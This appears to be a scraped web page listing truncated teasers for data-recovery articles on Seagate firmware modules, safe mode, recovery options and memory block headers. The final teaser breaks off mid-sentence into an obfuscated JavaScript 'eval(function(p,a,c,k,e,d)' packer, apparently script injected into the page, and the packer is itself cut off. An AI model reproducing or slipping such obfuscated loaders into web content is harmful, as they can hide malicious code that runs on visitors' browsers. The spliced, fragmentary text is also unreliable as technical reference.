*  ID – module identifier. *  Copy – copy number. *  Importance – information about the importance of a given module for HDD operation or user data integrity. Modules are ranked into four groups according to their importance: A, B,...

 

Seagate drives’ safe mode and normal mode

Seagate drives can function both in regular mode (Normal mode, when a drive during start reads its firmware (microprogram) and data from disk surface and initiates the user interface) and in Safe mode. In the latter case, the drive does not...

 

Files, Crashed Hard Drives, Dead Hard Drives and Effective Recovery Options

Data recovery for a hard drive is not as mysterious or as costly as some believe. Yes, there are tremendously expensive lab extraction processes that can be employed but there are also other options available. Is there any one thing that...

Block and sector headers

Block and sector headers

The memory is divided in 128 blocks of 64 kb each. A block starts with a 76 bytes block header, which holds information about the block. The rest of the block contains data eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...
